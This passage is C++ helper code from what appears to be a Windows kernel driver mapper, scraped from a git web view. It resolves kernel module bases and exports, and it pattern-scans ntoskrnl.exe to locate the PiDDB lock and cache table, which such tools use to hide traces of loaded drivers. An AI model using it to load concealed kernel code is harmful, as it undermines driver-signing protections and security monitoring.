VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline bool enable_privilege(const std::wstring_view privilege_name)
|
||||
{
|
||||
HANDLE token_handle = nullptr;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||
return false;
|
||||
|
||||
LUID luid{};
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||
return false;
|
||||
|
||||
TOKEN_PRIVILEGES token_state{};
|
||||
token_state.PrivilegeCount = 1;
|
||||
token_state.Privileges[0].Luid = luid;
|
||||
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||
return false;
|
||||
CloseHandle(token_handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
// taken from:
|
||||
// http://www.cplusplus.com/forum/windows/12137/
|
||||
inline DWORD get_pid(const char* proc_name)
|
||||
{
|
||||
PROCESSENTRY32 proc_info;
|
||||
proc_info.dwSize = sizeof(proc_info);
|
||||
|
||||
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||
if (proc_snapshot == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
Process32First(proc_snapshot, &proc_info);
|
||||
if (!strcmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
|
||||
while (Process32Next(proc_snapshot, &proc_info))
|
||||
{
|
||||
if (!strcmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(proc_snapshot);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// this was taken from wlan's drvmapper:
|
||||
// https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7
|
||||
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
|
||||
{
|
||||
std::ifstream fstr(file, std::ios::binary);
|
||||
fstr.unsetf(std::ios::skipws);
|
||||
fstr.seekg(0, std::ios::end);
|
||||
|
||||
const auto file_size = fstr.tellg();
|
||||
|
||||
fstr.seekg(NULL, std::ios::beg);
|
||||
data.reserve(static_cast<uint32_t>(file_size));
|
||||
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
|
||||
}
|
||||
|
||||
// get base address of kernel module
|
||||
//
|
||||
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
|
||||
inline std::uintptr_t get_kernel_module_base(const char* module_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// get base address of kernel module
|
||||
//
|
||||
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
|
||||
inline void* get_module_export(const char* module_name, const char* export_name, bool rva = false)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = 0;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return 0;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
// find module and then load library it
|
||||
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
// had to shoot the tires off of "\\SystemRoot\\"
|
||||
std::string full_path = reinterpret_cast<char*>(modules->Modules[idx].FullPathName);
|
||||
full_path.replace(
|
||||
full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1,
|
||||
std::string(getenv("SYSTEMROOT")).append("\\")
|
||||
);
|
||||
|
||||
auto module_base = LoadLibraryEx(full_path.c_str(), NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
PIMAGE_DOS_HEADER p_idh;
|
||||
PIMAGE_NT_HEADERS p_inh;
|
||||
PIMAGE_EXPORT_DIRECTORY p_ied;
|
||||
|
||||
PDWORD addr, name;
|
||||
PWORD ordinal;
|
||||
|
||||
p_idh = (PIMAGE_DOS_HEADER)module_base;
|
||||
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
|
||||
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
|
||||
return NULL;
|
||||
|
||||
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
|
||||
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
|
||||
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
|
||||
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
|
||||
|
||||
// find exported function
|
||||
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
|
||||
if (!strcmp(export_name, (char*)module_base + name[i]))
|
||||
{
|
||||
if (!rva)
|
||||
{
|
||||
auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]);
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
else
|
||||
{
|
||||
auto result = (void*)addr[ordinal[i]];
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline void* get_module_export(void* module_base, const char* export_name)
|
||||
{
|
||||
PIMAGE_DOS_HEADER p_idh;
|
||||
PIMAGE_NT_HEADERS p_inh;
|
||||
PIMAGE_EXPORT_DIRECTORY p_ied;
|
||||
|
||||
PDWORD addr, name;
|
||||
PWORD ordinal;
|
||||
|
||||
p_idh = (PIMAGE_DOS_HEADER)module_base;
|
||||
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
|
||||
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
|
||||
return NULL;
|
||||
|
||||
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
|
||||
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
|
||||
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
|
||||
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
|
||||
|
||||
// find exported function
|
||||
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
|
||||
if (!strcmp(export_name, (char*)module_base + name[i]))
|
||||
{
|
||||
auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]);
|
||||
return result;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline PIMAGE_FILE_HEADER get_file_header(void* base_addr)
|
||||
{
|
||||
if (!base_addr || *(short*)base_addr != 0x5A4D)
|
||||
return NULL;
|
||||
|
||||
PIMAGE_DOS_HEADER dos_headers =
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
|
||||
|
||||
PIMAGE_NT_HEADERS nt_headers =
|
||||
reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<DWORD_PTR>(base_addr) + dos_headers->e_lfanew);
|
||||
|
||||
return &nt_headers->FileHeader;
|
||||
}
|
||||
|
||||
namespace memory
|
||||
{
|
||||
template<std::size_t pattern_length>
|
||||
inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length])
|
||||
{
|
||||
static const auto kernel_addr =
|
||||
LoadLibraryEx(
|
||||
"ntoskrnl.exe",
|
||||
NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES
|
||||
);
|
||||
|
||||
static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(kernel_addr);
|
||||
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)kernel_addr + p_idh->e_lfanew);
|
||||
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
static auto current_section = reinterpret_cast<PIMAGE_SECTION_HEADER>(p_inh + 1);
|
||||
static const auto first_section = current_section;
|
||||
static const auto num_sec = p_inh->FileHeader.NumberOfSections;
|
||||
static std::atomic<bool> ran_before = false;
|
||||
|
||||
//
|
||||
// only run this once.
|
||||
//
|
||||
if (!ran_before.exchange(true))
|
||||
for (; current_section < first_section + num_sec; ++current_section)
|
||||
if (!strcmp(reinterpret_cast<char*>(current_section->Name), "PAGE"))
|
||||
break;
|
||||
|
||||
static const auto page_section_begin =
|
||||
reinterpret_cast<std::uint64_t>(kernel_addr) + current_section->VirtualAddress;
|
||||
|
||||
const auto pattern_view = std::string_view{
|
||||
reinterpret_cast<char*>(page_section_begin),
|
||||
current_section->SizeOfRawData
|
||||
};
|
||||
|
||||
std::array<std::pair<char, char>, pattern_length - 1> pattern{};
|
||||
|
||||
for (std::size_t index = 0; index < pattern_length - 1; index++)
|
||||
pattern[index] = { signature[index], mask[index] };
|
||||
|
||||
auto resultant_address = std::search(
|
||||
pattern_view.cbegin(),
|
||||
pattern_view.cend(),
|
||||
pattern.cbegin(),
|
||||
pattern.cend(),
|
||||
[](char left, std::pair<char, char> right) -> bool {
|
||||
return (right.second == '?' || left == right.first);
|
||||
});
|
||||
|
||||
return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
|
||||
}
|
||||
|
||||
//
|
||||
// be aware that this may not work for win8 or win7!
|
||||
//
|
||||
inline void* get_piddb_lock()
|
||||
{
|
||||
static const auto absolute_addr_instruction =
|
||||
pattern_scan_kernel(
|
||||
piddb_lock_sig,
|
||||
piddb_lock_mask
|
||||
);
|
||||
|
||||
static const auto ntoskrnl_in_my_process =
|
||||
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
|
||||
|
||||
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
|
||||
return {};
|
||||
|
||||
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
|
||||
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
|
||||
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
|
||||
|
||||
if (!kernel_base)
|
||||
return {};
|
||||
|
||||
return reinterpret_cast<void*>(kernel_base + real_rva);
|
||||
}
|
||||
|
||||
//
|
||||
// be aware that this may not work for win8 or win7!
|
||||
//
|
||||
inline void* get_piddb_table()
|
||||
{
|
||||
static const auto absolute_addr_instruction =
|
||||
pattern_scan_kernel(
|
||||
piddb_table_sig,
|
||||
piddb_table_mask
|
||||
);
|
||||
|
||||
static const auto ntoskrnl_in_my_process =
|
||||
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
|
||||
|
||||
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
|
||||
return {};
|
||||
|
||||
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
|
||||
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
|
||||
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
|
||||
|
||||
if (!kernel_base)
|
||||
return {};
|
||||
|
||||
return reinterpret_cast<void*>(kernel_base + real_rva);
|
||||
}
|
||||
}
|
||||
}
|
||||
Loading…
Reference in new issue